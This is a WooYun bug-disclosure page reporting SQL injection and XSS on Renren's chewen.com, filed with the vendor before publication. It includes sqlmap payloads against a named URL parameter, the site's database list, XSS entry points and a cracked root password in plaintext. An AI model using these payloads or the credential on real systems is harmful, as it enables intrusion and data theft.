当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-074990

漏洞标题:人人网旗下车问网SQL注入与XSS漏洞(可跨多个数据库,root以破解出来)

相关厂商:人人网

漏洞作者: Mosuan

提交时间:2014-09-04 11:30

修复时间:2014-10-19 11:32

公开时间:2014-10-19 11:32

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-04: 细节已通知厂商并且等待厂商处理中
2014-09-04: 厂商已经确认,细节仅向厂商公开
2014-09-14: 细节向核心白帽子及相关领域专家公开
2014-09-24: 细节向普通白帽子公开
2014-10-04: 细节向实习白帽子公开
2014-10-19: 细节向公众公开

简要描述:

rt

详细说明:

注入地址:http://dealer.chewen.com/1172/active/?carModelId=1521
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 10:50:04
[10:50:04] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\dealer.chewen.com\session' as session file
[10:50:04] [INFO] testing connection to the target url
[10:50:04] [INFO] testing if the url is stable, wait a few seconds
[10:50:06] [INFO] url is stable
[10:50:06] [INFO] testing if GET parameter 'carModelId' is dynamic
[10:50:06] [INFO] confirming that GET parameter 'carModelId' is dynamic
[10:50:06] [INFO] GET parameter 'carModelId' is dynamic
[10:50:06] [INFO] heuristic test shows that GET parameter 'carModelId' might be
injectable (possible DBMS: MySQL)
[10:50:06] [INFO] testing sql injection on GET parameter 'carModelId'
[10:50:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:50:08] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[10:50:08] [INFO] GET parameter 'carModelId' is 'MySQL >= 5.0 AND error-based -
WHERE or HAVING clause' injectable
[10:50:08] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:50:08] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[10:50:09] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[10:50:11] [INFO] target url appears to be UNION injectable with 1 columns
[10:50:11] [INFO] GET parameter 'carModelId' is 'MySQL UNION query (NULL) - 1 to
10 columns' injectable
GET parameter 'carModelId' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 25 HTTP(s) requ
ests:
---
Place: GET
Parameter: carModelId
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: carModelId=1521 AND (SELECT 7726 FROM(SELECT COUNT(*),CONCAT(0x3a74
66793a,(SELECT (CASE WHEN (7726=7726) THEN 1 ELSE 0 END)),0x3a76716d3a,FLOOR(RAN
D(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: carModelId=1521 UNION ALL SELECT CONCAT(0x3a7466793a,0x4848504d4a70
464a7a4a,0x3a76716d3a)#
---
[10:50:21] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, JSP
back-end DBMS: MySQL 5.0
[10:50:21] [INFO] fetching database names
[10:50:21] [INFO] the SQL query used returns 10 entries
[10:50:21] [INFO] retrieved: "information_schema"
[10:50:21] [INFO] retrieved: "autodata"
[10:50:22] [INFO] retrieved: "bitnami_roller"
[10:50:22] [INFO] retrieved: "chewen"
[10:50:22] [INFO] retrieved: "chewen_bbs"
[10:50:22] [INFO] retrieved: "chewen_task"
[10:50:23] [INFO] retrieved: "chewen_user"
[10:50:23] [INFO] retrieved: "mysql"
[10:50:23] [INFO] retrieved: "syspoll"
[10:50:23] [INFO] retrieved: "test"
available databases [10]:
[*] autodata
[*] bitnami_roller
[*] chewen
[*] chewen_bbs
[*] chewen_task
[*] chewen_user
[*] information_schema
[*] mysql
[*] syspoll
[*] test
[10:50:23] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\dealer.chewen.com'
[*] shutting down at 10:50:23


http://dealer.chewen.com/1306/ask/   这里提问个问题插入xss code


1111111.jpg


http://www.chewen.com/s?q=alert&t=   搜索alert,前人弄得xss未修复


root:shenghuomeihao


可沦陷多个后台,site:chewen.com 就能找到很多你们的后台了,这里给你们留点脸,点到为止,求rank

漏洞证明:

public

修复方案:

过滤,转义,改密码

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-09-04 13:00

厂商回复:

早上别的白帽子刚刚提交过了,为防止马甲刷分,只能给个低等的分数了,不好意思啦,见谅。还是很感谢,谢谢

最新状态:

暂无